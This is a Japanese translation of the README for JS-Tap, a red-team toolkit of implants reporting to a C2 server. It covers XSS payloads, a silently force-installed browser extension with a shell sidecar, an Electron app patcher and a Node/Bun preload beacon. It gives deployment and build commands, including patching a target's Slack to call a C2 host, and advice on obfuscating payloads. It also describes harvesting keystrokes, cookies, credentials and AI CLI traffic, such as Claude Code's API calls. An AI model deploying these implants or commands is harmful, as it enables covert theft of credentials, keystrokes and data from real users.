JS-Tap

v3.0.4

このツールは、攻撃を許可されたシステム上で、合法的かつ教育目的での使用を意図しています。違法な目的でこのツールを使用しないでください。さもないと、あなたの方向に非常に怒りを向けることになります。

変更履歴

大きな変更はプロジェクトのお知らせに記載されています：
https://github.com/hoodoer/JS-Tap/discussions/categories/announcements

デモ

JS-Tapに関する元のブログ記事はこちらで読めます：
https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams

ShmooConでのJS-Tap v1の短いデモ：
https://youtu.be/IDLMMiqV6ss?si=XunvnVarqSIjx_x0&t=19814

HackSpaceConでのJS-Tap v2のデモ（C2およびポストエクスプロイテーションインプラントとしての使用方法を含む）：
https://youtu.be/aWvNLJnqObQ?t=11719

自動ペイロードジェネレーターのデモ。傍受したフォーム投稿とJavaScriptネットワークトラフィックをテンプレートとして、カスタムC2ペイロードを生成：
https://www.youtube.com/watch?v=cU915mxLfTo

CactusConでのv2デモ（mimic機能を含む）：
https://youtu.be/O7-zxAmP13o?si=gchYwOJksutCCUPH

v3 Beaconsのデモ（ベータコード）：
https://youtu.be/-esrfSHqZeo

アップグレードに関する注意

データベースの移行スクリプトを作成する予定はなく、バージョン番号のアップグレードにはデータベーススキーマの変更が伴うことがよくあります（変更履歴を確認してください）。バージョンアップ時には、jsTap.dbデータベースを削除することをお勧めします。JS-Tapサーバーにカスタムペイロードがある場合は、データベースファイルを削除する前に必ずエクスポートしてください。

はじめに

JS-Tapは、レッドチーム向けのJavaScriptベースの攻撃ツールキットです。当初はXSSやポストエクスプロイテーションインプラントを介してWebアプリを攻撃するための汎用JavaScriptペイロードとして始まり、ブラウザ拡張機能やElectronデスクトップアプリのインプラントも含むように成長し、すべてが単一のC2サーバーにレポートします。

このペイロードは、ペイロードを実行する対象ユーザーが攻撃対象のアプリケーションに認証されている必要はなく、アプリケーションに関する事前知識も、JavaScriptをアプリケーションに注入する方法を見つける以外には必要ありません。

アプリケーションサーバー自体を攻撃する代わりに、JS-Tapペイロードはアプリケーションのクライアントサイドに焦点を当て、クライアントサイドコードを大規模にインストルメント化します。C2システムにより、カスタムJavaScriptペイロードを追加してJS-Tapクライアント上でタスクとして実行でき、アプリケーションサーバーを直接攻撃する手段を提供します。サーバー攻撃への移行を迅速化するために、JS-Tapにはmimic機能が含まれており、カスタムペイロードを自動生成してC2システムに引き渡します。

サンプルのDOM Beaconペイロードは、payloadsディレクトリのtelemlib.jsファイルに含まれていますが、このディレクトリ内のファイルはすべて認証なしで提供されるため、異なる構成の複数のペイロードを同時に提供して、異なるアプリケーションをターゲットにすることができます。

telemlib.jsファイルをお好みのファイル名にコピーし、必要に応じて設定を変更してください。このファイルは難読化されていません。実際のエンゲージメントで使用する前に、エンドポイントの名前を変更し、コメントを削除し、ペイロードを高度に難読化することを強く検討してください。デフォルトでは、アプリケーションはかなり明白なAPIエンドポイント（例：/loot/screenshot）を使用しますが、App Settingsでトラフィックの難読化を有効にできます。

公開サーバーで使用する前に、以下の設定セクションを注意深く確認してください。

アーキテクチャ概要

JS-Tapには、同じサーバーに接続する5つのビーコン/エージェントタイプがあります：

5つすべてが同じJS-Tapサーバーポータルにレポートし、戦利品の閲覧やC2コマンドの発行が行われます。

ポータルには2つのセッションクローン作成ツールも含まれています：

連携の仕組み

1. スタンドアロンDOM Beacon: DOM Beaconペイロード（telemlib.js）は単独で動作します。XSSで注入するか、ターゲットのJSファイルに埋め込みます。自動的にJS-Tapサーバーに接続します。

2. ドロッパーとしてのBEX Beacon: BEX Beaconはブラウジングを監視し、パッシブなインテリジェンス（クッキー、localStorage、sessionStorage、リクエストヘッダー、ナビゲーション）を収集します。JS-Tapポータルから、特定のドメインにDOM Beaconを注入するようにビーコンに命令できます。BEX Beaconによって起動されたDOM Beaconは、拡張機能のcaptureVisibleTab APIにより高品質のスクリーンショットを取得します（"BEX-Assist"モード）。

3. OSアクセス用Sidecar: インストールされると、SidecarバイナリはBEX Beaconに基盤となるオペレーティングシステムへのアクセスを提供します。コマンドはJS-Tapポータルから送信され、ビーコンの暗号化チャネルを介してネイティブバイナリに中継され、結果が返送されます。これにより、ブラウザ拡張機能がファイルシステムアクセスとコマンド実行の足がかりとなります。

4. ライブブラウジング用Browser Proxy: オペレーターはブラウザをJS-Tapプロキシを使用するように設定し、すべてのHTTP/HTTPSトラフィックがリアルタイムで被害者のブラウザを経由してルーティングされます。プロキシはMITM TLS終端（自動生成CA使用）を実行するため、オペレーターはHTTPSサイトを閲覧できます。プロキシは「ダムパイプ」であり、オペレーターのブラウザが送信したものをそのまま転送します。認証済みブラウジングには、セッションチケットと組み合わせます。JS-Tap Conductorが被害者のクッキー、ヘッダー、User-Agentをオペレーターのブラウザに注入し、MITMプロキシがそれらをビーコンに転送し、ビーコンが被害者のネットワークからフェッチします。これにより、オペレーターは被害者のIPアドレスからの認証済みセッションを取得できます。BEX、Atom、V8ビーコンはすべてプロキシモードをサポートしています。

5. Electronアプリ向けAtom Beacon: atomize.pyパッチャーはElectronアプリのASARアーカイブを変更してAtom Beaconエージェントを注入します。起動時にエージェントはJS-Tapサーバーに登録し、暗号化C2通信を開始し、アプリが作成するすべてのBrowserWindowにレンダラーペイロードを自動的に注入します。メインプロセスエージェントはネイティブOSアクセス（ファイルシステム、コマンド実行）を提供し、レンダラーペイロードはDOMレベルのデータ（キーストローク、入力、フォーム、クッキー、ストレージ、ネットワークコール）を収集します。Electronのメインプロセス内で完全なNode.jsアクセス権限で動作するため、別途Sidecarバイナリは不要で、ファイルブラウジング、ファイル読み取り、シェルコマンドが組み込まれています。

6. CLIツール向けV8 Beacon: V8 BeaconはNode.jsおよびBunベースのCLIアプリケーションを対象としています。環境変数（NODE_OPTIONSまたはBUN_OPTIONS）を設定するだけで、ビーコンはアプリ自身のコードよりも前に読み込まれます。ターゲットアプリへのパッチや変更は不要です。http.request、https.request、fetch、をモンキーパッチしてすべてのネットワークトラフィックを傍受し、をフックしてキーストロークをキャプチャし、C2チャネルを介してファイルブラウジングとシェル実行を提供します。子プロセスを生成するCLIツール（例：Gemini CLIが対話セッションのために自身を子プロセスとして生成）は自動的に処理されます。子プロセスは親のセッションキーを継承し、ポータル上で同じ論理クライアントを共有します。クロスランタイムサブプロセスフィルタリングにより、BunアプリのNode.jsユーティリティサブプロセスが別のクライアントとして登録されるのを防ぎます。

収集されるデータ

DOM Beacons

• クライアントIPアドレス、OS、ブラウザ
• ブラウザのフィンガープリント（オプション設定）
• ユーザー入力（認証情報など）
• 訪問したURL
• httponlyフラグが設定されていないクッキー
• Local Storage
• Session Storage
• 訪問したページのHTMLコード（機能が有効な場合）
• 訪問したページのスクリーンショット
• フォーム送信のコピー
• XHR API呼び出しのコピー（monkeypatch機能が有効な場合）
  • エンドポイント
  • メソッド（GET、POSTなど）
  • 設定されたヘッダー
  • Basic認証
  • レスポンスステータスコード
  • リクエスト本文とレスポンス本文
• Fetch API呼び出しのコピー（monkeypatch機能が有効な場合）
  • エンドポイント
  • メソッド（GET、POSTなど）
  • レスポンスステータスコード
  • 設定されたヘッダー
  • リクエスト本文とレスポンス本文
• カスタム流出データ
  • C2システムのカスタムペイロードから送り返されたデータ

注：XHRおよびFetch API呼び出しのコピーを受信する機能は、トラップモードで動作します。インプラントモードでは現在Fetch APIのみコピー可能です。フォーム送信の傍受はインプラントモードで見逃されることがあります。

BEX Beacons

• 訪問したドメイン（タイムスタンプ付き）
• 訪問したドメインのクッキー（browser.cookies.getAll()によるhttpOnlyを含む、メタデータ：httpOnly、secure、sameSite、path、domain、expiration）
• localStorageとsessionStorage
• 監視対象ドメインのリクエストヘッダー（authorization、x-api-key、cookie、set-cookie）
• コマンドでDOM Beaconを注入可能（その後、上記すべてを収集）

Sidecar（BEX Beacon経由）

• ディレクトリ一覧（ファイル名、サイズ、パーミッション、タイムスタンプ）
• ファイル内容（読み取りあたり最大1MB、オフセット/リミット対応）
• コマンド実行出力（stdout、stderr、終了コード）

Atom Beacon（Electronアプリ）

メインプロセスエージェント（Node.jsランタイム）：

• session.cookies APIによるすべてのドメインの全クッキー（httpOnlyを含む、メタデータ付き）
• webRequest.onBeforeSendHeadersによるリクエストヘッダー（Authorization、x-api-key、Cookie、Set-Cookie）
• webRequest.onHeadersReceivedによるレスポンスヘッダー（Set-Cookie、WWW-Authenticate、x-csrf-token、Location）
• ElectronのdesktopCapturer APIによるアプリケーションウィンドウのスクリーンショット（GPU合成出力をキャプチャ）
• ホスト情報（ホスト名、プラットフォーム、アーキテクチャ、ユーザー名、ホームディレクトリ）
• 追跡中のウィンドウ一覧（URL、タイトル、注入ステータス）
• ファイルシステムアクセス（ディレクトリ一覧、ファイル読み取り）— ネイティブ、サイドカー不要
• コマンド実行（シェルコマンドとstdout/stderr/終了コード）— ネイティブ、サイドカー不要

レンダラーペイロード（すべてのアプリウィンドウに注入）：

• キーストロークキャプチャ（ターゲット要素コンテキスト付きのキーロギング、バッファリングおよびデバウンス処理）
• ユーザー入力（changeイベント経由の入力フィールドとテキストエリアから）
• フォーム送信（アクション、メソッド、全フォームデータ）
• クッキー（document.cookieから、変更追跡）
• localStorageとsessionStorage（変更追跡）
• 訪問したURL（pushState/replaceState/hashchangeによるSPAナビゲーションを含む）
• ページのHTMLソース
• XHR API呼び出し（メソッド、URL、ヘッダー、リクエスト本文、レスポンス本文、ステータス）
• Fetch API呼び出し（メソッド、URL、ヘッダー、リクエスト本文、レスポンス本文、ステータス）

V8 Beacon（Node.js / Bun CLIアプリ）

• ネットワーク傍受 — 全てのHTTP、HTTPS、Fetch、HTTP/2呼び出し（完全なリクエスト/レスポンス本文、SSEストリーミングを含む）、ヘッダー、ステータスコード
• process.stdinからのキーストロークキャプチャ（読み取り可能な文字列にバッファリングされ、2秒ごとまたはEnterキーでフラッシュ）
• 初期化時の環境変数スナップショット
• プロセス情報（argv、cwd、pid、title、Node/Bunバージョン）
• ファイルシステムアクセス（ディレクトリ一覧、ファイル読み取り）— ネイティブ、サイドカー不要
• コマンド実行（シェルコマンドとstdout/stderr/終了コード）— ネイティブ
• ホスト情報（ホスト名、プラットフォーム、アーキテクチャ、ユーザー名、ホームディレクトリ）
• 圧縮されたAPIレスポンスの自動gzip解凍
• ブラウザプロキシ — プロセスのネットワークコンテキストを介してオペレーターのトラフィックをルーティング

動作モード

DOM Beaconペイロードには2つの動作モードがあります。モードがtrapかimplantかは、**initGlobals()**関数内で設定されます。window.taperMode変数を検索してください。

トラップモード

トラップモードは通常、XSSペイロードとして使用するモードです。XSSペイロードの実行はしばしば一時的であり、悪意のあるJavaScriptペイロードが動作しているページを表示しているユーザーがブラウザタブを閉じたり（ページに興味がない場合）、アプリケーション内の別の場所に移動したりする可能性があります。どちらの場合も、ペイロードはメモリから削除され、動作を停止します。JS-Tapは長時間実行されなければ、有用なデータを収集できません。

トラップモードは、iFrameトラップ技術を使用して永続性を確立することでこれに対抗します。JS-Tapペイロードは全画面のiFrameを作成し、ユーザーをアプリケーション内の別の場所に誘導します。この開始ページは事前に設定しておく必要があります。initGlobals()関数内でwindow.taperstartingPage変数を検索し、ターゲットアプリケーション内の適切な開始位置に設定してください。

トラップモードでは、JS-TapはiFrameトラップ内のユーザーの位置を監視し、ブラウザのアドレスバーをiFrameの位置に合わせて偽装します。

ターゲットとなるアプリケーションは、CSPやX-Frame-Optionsヘッダーを設定している場合、同一オリジンまたはselfからのiFrame埋め込みを許可している必要があることに注意してください。JavaScriptベースのフレームバスターもiFrameトラップの動作を妨げる可能性があります。

なお、アプリケーションの非常に特定の場所でのポストエクスプロイテーションインプラントとして、またはアプリケーションの認証済みセクション内でどのリソースが使用されているか不明な場合に、トラップモードを使用して成功した経験があります。ログインページにインプラントを仕込み、トラップモードとトラップモードの開始ページをwindow.location.href（すなわち現在の場所）に設定できます。ユーザーがログインページにアクセスするとトラップが設定され、ユーザーはiFrameトラップ内でアプリケーションの認証済み部分に進むことが期待されます。

ページをリフレッシュすると、一般的にiFrameトラップは解除/回避されます。

インプラントモード

インプラントモードは通常、ペイロードを直接ターゲットアプリケーションに追加する場合に使用します。おそらく、アプリケーションのJavaScriptファイルをホストしているサーバーへのシェルを持っている場合です。アプリケーション全体で使用されているJavaScriptファイル（jQuery、main.jsなど）にペイロードを追加します。どのファイルが理想的かは、対象のアプリとそのJavaScriptファイルの使用方法に依存します。インプラントモードでは開始ページを設定する必要はなく、iFrameトラップ技術も使用しません。

インプラントモードでページをリフレッシュしても、一般的にJS-Tapペイロードは引き続き実行されます。

インプラントモードは、余分なiFrame永続化コードを伴わないため、アプリケーションで動作する可能性が高くなります。

BEX Beacon（ブラウザ拡張機能）

BEX Beaconは、JS-Tapのブラウザ拡張機能バージョンです。2つの主要な目的を果たします：

1. パッシブインテリジェンス： XSS脆弱性を必要とせずに、すべてのドメイン（ホワイトリストで設定可能）のブラウジングアクティビティを監視し、クッキー（完全なメタデータ付きhttpOnlyを含む）、localStorage、sessionStorage、リクエストヘッダー、ナビゲーションイベントをキャプチャします。
2. アクティブドロッパー： JS-Tapポータルから特定のドメインにDOM Beaconを注入するようタスク化できます。これにより、単純なブラウザ拡張機能を完全なポストエクスプロイテーションインプラントの配信手段に変えることができます。

BEX Beaconは、JS-Tapサーバーとの通信にアプリ層の暗号化（AES-GCM）を使用します。すべてのテレメトリとタスク応答は単一のエンドポイントを介してエンドツーエンドで暗号化され、ネットワークトラフィックの識別を困難にします。

また、ビーコンには、厳格な環境へのJS-Tap注入を容易にするために、CSP/X-Frame-Optionsヘッダーの除去（declarativeNetRequestルール経由）などの機能も含まれています。<meta http-equiv="Content-Security-Policy">タグ（HTMLに埋め込まれているためヘッダールールでは除去できない）を使用するターゲットの場合、BEX Beaconはバンドル注入アプローチを使用します。telemlib.jsが拡張機能内にパッケージ化され、chrome.scripting.executeScript({ files })を介して注入されます。これにより、ブラウザの特権拡張機能注入メカニズムを通じてページレベルのCSPを完全にバイパスします。

オプションのSidecarネイティブメッセージングホストと組み合わせると、BEX Beaconはターゲットマシン上でOSレベルのアクセスを獲得します。以下のSidecarセクションを参照してください。

Atom Beacon（Electronアプリインプラント）

Atom Beaconは、Electronデスクトップアプリケーション向けのインプラントです。二層エージェントとして動作します — 完全なNode.jsランタイムアクセス権限を持つ特権メインプロセスエージェントと、アプリが作成するすべてのBrowserWindowに自動的に注入されるレンダラーペイロードです。

BEX Beacon + Sidecarの組み合わせとは異なり、Atom BeaconはOSアクセス用に別個のネイティブバイナリを必要としません。ファイルシステム操作、コマンド実行、スクリーンショットキャプチャはすべて、Node.js APIを使用してメインプロセスエージェントに組み込まれています。

Atom Beaconは、BEX Beaconと同じ暗号化通信プロトコル（単一エンドポイント上のAES-GCM暗号化、RSA-OAEP鍵交換）を使用します。それは別個のクライアントタイプ（atom-beacon）として登録され、DOM Beaconと並んでAppsビューに表示されます。主な機能:

• Renderer injection（レンダラーインジェクション） — 起動後に作成されたウィンドウを含む、すべての BrowserWindows に webContents.executeJavaScript() を介して自動的にデータ収集ペイロードを注入します。レンダラーペイロードは、キーストローク、入力、フォーム、クッキー、ストレージ、URL、HTML、XHR/Fetch ネットワーク呼び出しをキャプチャします。
• スクリーンショット — Electron の desktopCapturer API を使用してウィンドウのスクリーンショットをキャプチャします。GPU コンポジットコンテンツを含むピクセル単位の完全なキャプチャを生成します。手動キャプチャ（ポータル UI 経由）、ヒューリスティック自動キャプチャ（ウィンドウフォーカス、ナビゲーション、新しいウィンドウ時）、および設定可能なクールダウン期間をサポートします。
• ネイティブ OS アクセス — ファイルブラウジング、ファイル読み取り、シェルコマンド実行がエージェントに組み込まれています。これらは BEX Sidecar と同じポータル UI（ツールパネルのファイルブラウザとシェルタブ）を使用します。
• HTTP インターセプション — Electron セッションレベルで webRequest.onBeforeSendHeaders を介してリクエストヘッダーを、webRequest.onHeadersReceived を介してレスポンスヘッダーをキャプチャします。
• クッキーキャプチャ — session.cookies.get() を介して Electron セッションからすべてのクッキー（httpOnly を含む）を読み取ります。
• ブラウザプロキシ — WebSocket リレーを介して、オペレーターのブラウザトラフィックを Electron アプリのネットワークコンテキスト経由でルーティングします。ブラウザプロキシ を参照してください。

セットアップと使用方法については、以下の Atom Beacon（Electron アプリのパッチ適用） を参照してください。

V8 Beacon（Node.js / Bun CLI インプラント）

V8 Beacon は、Node.js および Bun ベースのコマンドラインアプリケーション向けのインプラントです。Atom Beacon がアプリの ASAR アーカイブのパッチ適用を必要とするのに対し、V8 Beacon は環境変数を介して注入します — ターゲットアプリケーションの変更は必要ありません。

サポートされているランタイム:

• Node.js — export NODE_OPTIONS="--require /path/to/v8-beacon.js"（Gemini CLI およびその他の Node.js ツールでテスト済み）
• Bun — export BUN_OPTIONS="--preload /path/to/v8-beacon.js"（Claude Code でテスト済み）

ビーコンは BEX および Atom ビーコンと同じ暗号化通信プロトコル（単一エンドポイント上の AES-GCM 暗号化、RSA-OAEP 鍵交換）を使用します。クライアントタイプ v8-beacon として登録され、ポータルの Nodes ビューに表示されます。

主な機能:

• ネットワークインターセプション — http.request、https.request、globalThis.fetch、http2.connect をモンキーパッチして、リクエスト/レスポンス本文、ヘッダー、ステータスコードを含むすべての発信ネットワーク呼び出しをキャプチャします。SSE ストリーミングレスポンス（Anthropic の Messages API や Google の Gemini API などの AI API で使用）は、レスポンスストリームをティーイングしてキャプチャします。Gzip 圧縮されたレスポンスは自動的に解凍されます。
• キーストロークキャプチャ — process.stdin を複数のレイヤー（push、emit、tty.ReadStream、readline）でフックしてユーザー入力をキャプチャします。キーストロークは読み取り可能な文字列にバッファリングされ、2秒ごと（または Enter キーで即時）にフラッシュされます。
• ネイティブ OS アクセス — ファイルブラウジング、ファイル読み取り、シェルコマンド実行がエージェントに組み込まれており、Atom Beacon および BEX Sidecar と同じポータル UI を使用します。
• サブプロセスセッション共有 — 自身を子プロセスとして生成する CLI ツール（例: Gemini CLI）は、親のセッションを自動的に共有します。子プロセスは環境変数を介して暗号化キーを継承し、すべてのイベントがポータルの単一クライアントの下に表示されます。
• クロスランタイムフィルタリング — Bun アプリ（Claude Code など）が Node.js ユーティリティの子プロセスを生成する場合、ビーコンはランタイムの不一致を検出して子プロセスをスキップし、ゴーストクライアントを防止します。
• ブラウザプロキシ — WebSocket リレーを介して、オペレーターのブラウザトラフィックを Node.js/Bun プロセスのネットワークコンテキスト経由でルーティングします。ブラウザプロキシ を参照してください。

セットアップと使用方法については、以下の V8 Beacon（Node.js / Bun CLI アプリ） を参照してください。

スクリーンショットシステム

JS-Tap はスクリーンショットのキャプチャに3つの異なる方法を採用しています:

1. html2canvas（標準）

DOM Beacon インプラントでデフォルトで使用されます。ページを canvas 要素として再構築し、画像としてエクスポートしようとします。ほとんどのサイトではうまく機能しますが、複雑な最新アプリ（Reddit など）やクロスオリジン画像では苦戦する可能性があります。

2. ハイブリッド BEX アシスト（高品質）

DOM Beacon インプラントが BEX Beacon によって生成されると、拡張機能の高レベルブラウザ API にアクセスできるようになります。このモードでは、インプラントはビーコンに chrome.tabs.captureVisibleTab を使用してスクリーンショットを撮るよう要求します。これにより、html2canvas のすべての CSS/DOM の制限をバイパスするピクセル単位の高品質キャプチャが得られます。複雑なターゲットには推奨されるモードです。

3. Electron desktopCapturer（Atom Beacon）

Atom Beacon は Electron の desktopCapturer API を使用してウィンドウのスクリーンショットをキャプチャします。これにより、実際の GPU コンポジットされたウィンドウ出力をキャプチャし、複雑な Electron アプリ（Slack、VS Code、Discord など）のピクセル単位の完全なスクリーンショットを生成します。スクリーンショットはポータルから手動でトリガーするか、設定可能なヒューリスティック（ウィンドウフォーカスの変更、ナビゲーションイベント、新しいウィンドウ作成）を介して自動的にトリガーできます。

インストールと起動

Python3 が必要です。jsTapServer には多数の依存関係が必要です。サーバーソフトウェアのライブラリを分離するために、Python 仮想環境（またはお好みの分離方法）を使用することを強く推奨します。

JS-Tap サーバー

例:``` mkdir jsTapEnvironment python3 -m venv jsTapEnvironment source jsTapEnvironment/bin/activate cd jsTapEnvironment git clone https://github.com/hoodoer/JS-Tap cd JS-Tap pip3 install -r requirements.txt

generate a self-signed cert for the server:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365 -nodes

run in debug/single thread mode:

python3 jsTapServer.py #or

run with gunicorn multithreaded (production use):

./jstapRun.sh

サーバーは起動のたびにランダムな管理者パスワードを自動生成し、コンソールに出力します。認証情報はプロジェクトルートの `adminCreds.txt` にも保存されます。開発/テスト中は、実行の合間に `jsTap.db` を削除しても問題ありません。次回起動時に自動的に再生成されます。

### ビルド (統合ビルド)

プロジェクトルートの統合ビルドスクリプトがすべてを処理します：Chrome および Firefox 用の拡張機能のビルド、デプロイ用のパッケージ化、オプションの sidecar バイナリのクロスコンパイル、およびターゲットマシンにコピーできる自己完結型のデプロイバンドルの生成。

#### 前提条件
- **Node.js** (WXT 拡張機能のビルドと .crx パッケージング用)
- **Go** (1.21+) — sidecar を有効にする場合のみ必要
- **Python 3**

#### クイックスタート

1. `bex-beacon/config.json` を設定します（下記の [設定](#bex-beacon-configuration-configjson) を参照）。
2. Node の依存関係をインストールします（初回のみ）：```bash
cd bex-beacon && npm install && cd ..

3. すべてをビルドする:```bash python3 buildAll.py

これはChrome MV3およびFirefox MV2拡張機能をビルドし、`.crx`/`.xpi`としてパッケージ化し、（有効な場合）サイドカーバイナリをクロスコンパイルし、デプロイバンドルを生成します。ビルドスクリプトは、ビルドのたびに拡張機能のパッチバージョン番号を自動的にインクリメントします（例：`2.1.5` → `2.1.6`）。これは`bex-beacon/config.json`で行われ、ブラウザの強制インストール機能（Chrome/Edgeのエンタープライズポリシー）が更新されたビルドを確実に取得できるようにします。

#### ビルドフラグ

| フラグ | 効果 |
|---|---|
| `--ext-only` | 拡張機能のみをビルドし、サイドカーをスキップ |
| `--sidecar-only` | サイドカーのみをビルドし、拡張機能をスキップ |
| `--legacy` | レガシー拡張機能もビルド（`src-chrome-extension/` および `src-firefox-extension/` から） |

#### ビルド出力```
build/
  chrome-mv3/              # Unpacked Chrome extension (for development)
  firefox-mv2/             # Unpacked Firefox extension (for development)
  extension.crx            # Packed Chrome extension (if key.pem configured)
  extension.xpi            # Packed Firefox extension
  sidecar/                 # Sidecar binaries + manifests (when enabled)
  deploy/                  # Self-contained deploy bundles
    chrome-linux.tar.gz
    chrome-mac.tar.gz
    chrome-windows.zip
    chromium-linux.tar.gz
    chromium-mac.tar.gz
    firefox-linux.tar.gz
    firefox-mac.tar.gz
    firefox-windows.zip

静的拡張機能ID

本番環境では、静的キーペアを生成して、Chrome拡張機能IDがビルド間で決定論的になるようにする必要があります。これは、サイドカーのネイティブメッセージングマニフェストが正しい拡張機能をホワイトリストに登録するために必要です。```bash

Generate a private key (keep this safe, reuse across builds)

openssl genrsa 2048 > key.pem

Extract the public key for config.json

openssl rsa -in key.pem -pubout -outform DER | base64 -w0

ベース64出力を `extension_ids.chrome_key` に追加し、`bex-beacon/config.json` 内の `extension_ids.chrome_key_pem` を `key.pem` に設定します。ビルドスクリプトは自動的に32文字のChrome拡張機能IDを計算し、検証します。

Firefox拡張機能IDは `extension_ids.firefox_extension_id` を直接設定します（例：`bex-beacon@jstap`）。

### ターゲットへのデプロイ

各デプロイバンドルは**自己完結型アーカイブ**です — ターゲットマシンにコピーするファイルは1つです。

**ワークフロー:**
1. 適切なアーカイブをターゲットにコピーします（例：`chrome-linux.tar.gz`）
2. 展開します
3. インストールスクリプトを実行します```bash
# Linux/macOS
tar xzf chrome-linux.tar.gz
cd chrome-linux
./install.sh

# Windows
# Extract chrome-windows.zip, then run:
install.bat

インストールスクリプトの機能:

サイドカーが有効な場合、インストールスクリプトはサイドカーバイナリもインストールし、正しいブラウザ/OS固有の場所にネイティブメッセージングマニフェストを書き込む。サイドカーのインストールはユーザーレベル（sudo不要）である。

Chrome/Chromium インストール詳細 (Linux):

• Chromeのエンタープライズポリシー機構（ExtensionSettings、force_installedモード）を使用する
• CRXとOmahaスタイルの更新マニフェストは/opt/jstap/に保存される
• ポリシーJSONは/etc/chromium/policies/managed/（Chromium）または/etc/opt/chrome/policies/managed/（Chrome）に書き込まれる
• 拡張機能は次回ブラウザ起動時に自動的にインストールされる—ユーザープロンプトもエラーポップアップもなし
• Chromeのブラウザメニューに「組織によって管理されています」と表示されるが、これはエンタープライズ管理マシンでは正常である

Chrome/Chromium インストール詳細 (macOS):

• 外部拡張機能機構を使用する
• CRXは/Library/Application Support/JSTap/に保存される
• 外部拡張機能JSONはブラウザの外部拡張機能ディレクトリに書き込まれる
• Chromeが外部インストールされた拡張機能について警告した際、ユーザーは保持をクリックする必要がある

アンインストール

各デプロイバンドルにはアンインストールスクリプト（uninstall.shまたはuninstall.bat）が含まれており、インストールスクリプトが展開したすべてのものを完全に削除する。```bash

Linux/macOS

./uninstall.sh

Windows

uninstall.bat

**アンインストールスクリプトが削除するもの:**

| コンポーネント | 削除されるもの |
|---|---|
| **Chrome/Chromium 拡張機能** (Linux) | システムディレクトリからのエンタープライズポリシー JSON + CRX + アップデートマニフェスト (`sudo` が必要) |
| **Chrome/Chromium 拡張機能** (macOS) | システムディレクトリからの外部拡張 JSON + CRX (`sudo` が必要) |
| **Chrome 拡張機能** (Windows) | レジストリエントリ + `%LOCALAPPDATA%\JSTap` からの拡張ファイル |
| **Firefox 拡張機能** | Firefox プロファイルの `extensions/` ディレクトリからの `.xpi` |
| **サイドカー** (存在する場合) | `~/.local/bin/` からのバイナリ、ネイティブメッセージングマニフェスト JSON、およびレジストリエントリ (Windows) |

アンインストール後、変更を反映させるにはブラウザを再起動してください。

#### 開発用

開発およびテストでは、デプロイバンドルをスキップして拡張機能を直接読み込むことができます:
- **Chrome:** `chrome://extensions` → デベロッパーモードを有効にする → パッケージ化されていない拡張機能を読み込む → `build/chrome-mv3/` を選択
- **Firefox:** `about:debugging` → この Firefox → 一時的なアドオンを読み込む → `build/firefox-mv2/` 内の任意のファイルを選択

### サイドカー (ネイティブメッセージングホスト)

サイドカーは**オプション**です。これは Go バイナリで、ブラウザのネイティブメッセージング API を介して BEX Beacon と通信し、OS レベルのアクセス (ファイルブラウジング、ファイル読み取り、コマンド実行) を提供します。

#### 有効化とビルド

1. `bex-beacon/config.json` で `sidecar.enabled: true` を設定
2. `extension_ids` で拡張機能 ID を設定 ([静的拡張機能 ID](#static-extension-ids) を参照)
3. 統合ビルドを実行:```bash
python3 buildAll.py

ビルドスクリプトは、中央設定から拡張機能IDを自動的に同期し、sidecar/config.jsonに書き込み、すべてのプラットフォーム向けにサイドカーバイナリをクロスコンパイルし、各デプロイバンドルに正しいバイナリを含めます。

スタンドアロンサイドカービルド

サイドカーのみを再ビルドする必要があり、拡張機能を再ビルドする必要がない場合：```bash python3 buildAll.py --sidecar-only

または直接ビルドします（ローカル設定がない場合は、`../bex-beacon/config.json` を読み取ります）:```bash
cd sidecar
python3 buildSidecar.py

サイドカーのアンインストール

開発中のテストイテレーションでは、サイドカー専用のアンインストールスクリプトを使用して、バイナリとすべてのネイティブメッセージングマニフェストを削除してください。```bash ./sidecar/uninstall.sh

これにより、バイナリが`~/.local/bin/`から削除され、すべてのChrome/Firefoxのマニフェストディレクトリ（LinuxおよびmacOS）からマニフェストJSONが削除されます。

デプロイされたシステムでは、代わりにバンドルの`uninstall.sh`または`uninstall.bat`を使用してください — これにより、拡張機能とサイドカーが一度に削除されます。上記の[アンインストール](#uninstalling)を参照してください。

#### サイドカーの仕組み```
JS-Tap Portal UI
    │ POST /api/sidecar/command
    ▼
JS-Tap Server (queues SIDECAR_COMMAND task)
    │ Beacon polls on heartbeat
    ▼
BEX Beacon (background service worker)
    │ browser.runtime.connectNative()
    ▼
Sidecar Go Binary (native messaging, stdio)
    │ Executes command, returns result
    ▼
BEX Beacon (encrypts result, sends to server)
    │ POST /client/metrics/<uuid>
    ▼
JS-Tap Server (stores SidecarResult)
    │ UI polls GET /api/sidecar/result/<requestId>
    ▼
JS-Tap Portal UI (displays result)

ビーコンとサイドカーバイナリ間の通信は、ネイティブメッセージングプロトコルを使用します。各メッセージには4バイトのリトルエンディアン長プレフィックスが付き、その後にJSONペイロードが続きます。

サイドカーコマンド:

Atom Beacon (Electronアプリケーションのパッチ適用)

Atom Beaconインプラントは、atomize.pyパッチャーを使用してElectronデスクトップアプリケーションに注入されます。アプリのASARアーカイブ（または展開されたアプリディレクトリ）を変更し、メインプロセスのエントリポイントにエージェントコードを先頭に追加します。

前提条件

• Python 3 — 追加のpip依存関係は不要（バンドルされた純粋Python ASARライブラリを使用）
• ターゲットのElectronアプリ — アプリのresources/app.asarまたはresources/app/ディレクトリ

Windows実行可能ファイルのビルド

LinuxおよびmacOSでは、atomize.pyはPython 3で直接実行できます。WindowsではPythonがインストールされていない場合があります。スタンドアロンのatomize.exeはPyInstallerを使用してビルドできます。```bash cd atom-beacon pip install pyinstaller pyinstaller atomize.spec

これにより、`dist/atomize.exe` — Python、ASARライブラリ、ペイロードファイルをバンドルした単一ファイルの実行可能ファイルが生成されます。ターゲットのWindowsマシンにPythonのインストールは不要です。使用方法はPython版と同じです:```
atomize.exe --detect-only C:\Users\target\AppData\Local\slack\app-4.40.0
atomize.exe --server https://10.0.0.1:8444 C:\Users\target\AppData\Local\slack\app-4.40.0

注記: PyInstaller は、それが実行されている OS に対してのみビルドできます。Windows .exe をビルドするには、Windows マシン（または Windows VM/CI ランナー）上で PyInstaller を実行してください。

Windows pip のトラブルシューティング:

Windows で pip が認識されないが python が使える場合は、代わりに python -m pip を使用してください:``` python -m pip install pyinstaller

インストール後に `pyinstaller` が見つからない場合は、`python -m PyInstaller` を使用してください（大文字小文字を区別）：```
python -m PyInstaller atomize.spec

